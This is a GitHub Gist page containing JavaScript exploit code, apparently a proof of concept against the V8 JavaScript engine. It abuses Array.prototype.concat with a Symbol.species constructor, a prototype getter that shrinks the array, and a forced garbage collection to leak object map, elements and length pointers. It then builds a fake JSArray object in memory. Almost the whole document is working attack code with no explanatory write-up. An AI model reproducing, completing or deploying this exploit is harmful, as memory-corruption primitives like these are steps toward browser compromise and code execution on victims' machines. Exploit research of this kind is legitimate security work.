Created
August 14, 2021 06:42
-
-
Save cd789/0ecfa4c804afdd98272bfd77543528db to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
class Helpers { | |
constructor() { | |
this.buf = new ArrayBuffer(8); | |
this.f64 = new Float64Array(this.buf); | |
this.f32 = new Float32Array(this.buf); | |
this.u32 = new Uint32Array(this.buf); | |
this.state = {}; | |
this.i = 0; | |
} | |
ftoil(f) { | |
this.f64[0] = f; | |
return this.u32[0] | |
} | |
ftoih(f) { | |
this.f64[0] = f; | |
return this.u32[1] | |
} | |
itof(i) { | |
this.u32[0] = i; | |
return this.f32[0]; | |
} | |
printhex(val) { | |
console.log('0x' + val.toString(16)); | |
} | |
add_ref(object) { | |
this.state[this.i++] = object; | |
} | |
} | |
var helper = new Helpers(); | |
function information_leak() { | |
class LeakTypedArray extends Float64Array {} | |
let lta = new LeakTypedArray(1024); | |
// This is required to avoid an exception being thrown | |
// here: | |
lta.__defineSetter__('length', function() {}) | |
// Create a Literal JSArray | |
var a = [ | |
/* hole */, 2.2, 3.3, 4.4, 5.5, 6.6, 7.7, 8.8, 9.9, | |
1.1, 2.2, 3.3, 4.4, 5.5, 6.6, 7.7, 8.8, 9.9, | |
1.1, 2.2, 3.3, 4.4, 5.5, 6.6, 7.7, 8.8, 9.9, | |
1.1, 2.2, 3.3, 4.4, 5.5, 6.6, 7.7, 8.8, 9.9, | |
1.1, 2.2, 3.3, 4.4, 5.5, 6.6, 7.7, 8.8, 9.9, | |
1.1, 2.2, 3.3, 4.4, 5.5, 6.6, 7.7, 8.8, 9.9, | |
1.1, 2.2, 3.3, 4.4, 5.5, 6.6, 7.7, 8.8, 9.9, | |
1.1, 2.2, 3.3, 4.4, 5.5, 6.6, 7.7, 8.8, 9.9, | |
1.1, 2.2, 3.3, 4.4, 5.5, 6.6, 7.7, 8.8, 9.9, | |
1.1, 2.2, 3.3, 4.4, 5.5, 6.6, 7.7, 8.8, 9.9 // HOLEY_DOUBLE_ELEMENTS | |
]; | |
// We'll be using this in Part2 | |
var fake_object = new Float32Array(16); | |
fake_object[0] = 1.1; | |
/* | |
Set the `.constructor` property here instead of creating a class | |
so we can continue using Literal Double arrays | |
class MyArray extends Array { | |
static get [Symbol.species]() { | |
return function() { | |
return p; | |
} | |
}; | |
} | |
*/ | |
const C = new Function(); | |
C.__defineGetter__(Symbol.species, () => { | |
return function() { return lta; } | |
}); | |
a.constructor = C; | |
/* | |
Set the index on the Literal Array's prototype | |
to an object. | |
DONT USE THE ARRAY `a` ITSELF HERE OR IT WILL | |
be converted to HOLEY_ELEMENTS. | |
*/ | |
Array.prototype[0] = { | |
valueOf: function() { | |
a.length = 1; | |
new ArrayBuffer(0x7fe00000); // Trigger a mark-sweep GC | |
delete Array.prototype[0]; | |
} | |
}; | |
var c = Array.prototype.concat.call(a); | |
/* | |
prop map | |
0xe00 [ 42424242 41414141 ] | |
length elements | |
0xe08 [ 44444444 43434343 ] | |
*/ | |
helper.state.map = helper.ftoil(lta[1]); | |
helper.state.properties = helper.ftoih(lta[1]); | |
helper.state.elements = helper.ftoil(lta[2]); | |
helper.state.length = helper.ftoih(lta[2]); | |
/* | |
Calculate offsets to the Float32Array | |
that will hold our fake JSArray | |
*/ | |
helper.state.fake_object = fake_object; | |
helper.state.fake_object_address = helper.state.elements + 0xa0; | |
helper.state.fake_object_bytearray_address = helper.state.elements + 0x60; | |
helper.add_ref(a); | |
} | |
function create_fake_object() { | |
class LeakTypedArray extends Float64Array {} | |
let lta = new LeakTypedArray(1024); | |
lta.__defineSetter__('length', function() {}) | |
var a = [ | |
1.1, 2.2, 3.3, 4.4, 5.5, 6.6, 7.7, 8.8, 9.9, | |
1.1, 2.2, 3.3, 4.4, 5.5, 6.6, 7.7, 8.8, 9.9, | |
1.1, /* hole */, 3.3, 4.4, 5.5, 6.6, 7.7, 8.8, 9.9, | |
1.1, 2.2, 3.3, 4.4, 5.5, 6.6, 7.7, 8.8, 9.9, | |
1.1, 2.2, 3.3, 4.4, 5.5, 6.6, 7.7, 8.8, 9.9, | |
1.1, 2.2, 3.3, 4.4, 5.5, 6.6, 7.7, 8.8, 9.9, | |
1.1, 2.2, 3.3, 4.4, 5.5, 6.6, 7.7, 8.8, 9.9, | |
1.1, 2.2, 3.3, 4.4, 5.5, 6.6, 7.7, 8.8, 9.9, | |
1.1, 2.2, 3.3, 4.4, 5.5, 6.6, 7.7, 8.8, 9.9, | |
1.1, 2.2, 3.3, 4.4, 5.5, 6.6, 7.7, 8.8, 9.9, | |
1.1, 2.2, 3.3, 4.4, 5.5, 6.6, 7.7, 8.8, {} // HOLEY_ELEMENTS | |
]; | |
var fake_jsarray_object_ptr = new Float32Array(16); | |
fake_jsarray_object_ptr[0] = helper.itof( helper.state.fake_object_bytearray_address ); | |
helper.printhex( helper.state.fake_object_bytearray_address ); | |
const C = new Function(); | |
C.__defineGetter__(Symbol.species, () => { | |
return function() { return lta; } | |
}); | |
a.constructor = C; | |
/* | |
Corrupted Fake JSArray | |
proto map | |
0xe00 [ 42424242 41414141 ] | |
length elements | |
0xe08 [ 44444444 43434343 ] | |
*/ | |
helper.state.fake_object[0] = helper.itof( helper.state.map ); | |
helper.state.fake_object[1] = helper.itof( helper.state.properties ); | |
helper.state.fake_object[2] = helper.itof( helper.state.elements ); | |
helper.state.fake_object[3] = helper.itof( helper.state.length ); | |
Array.prototype[19] = { | |
valueOf: function() { | |
a.length = 1; | |
new ArrayBuffer(0x7fe00000); | |
delete Array.prototype[19]; | |
return 1.1; | |
} | |
}; | |
var c = Array.prototype.concat.call(a); | |
} | |
information_leak(); | |
create_fake_object(); |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment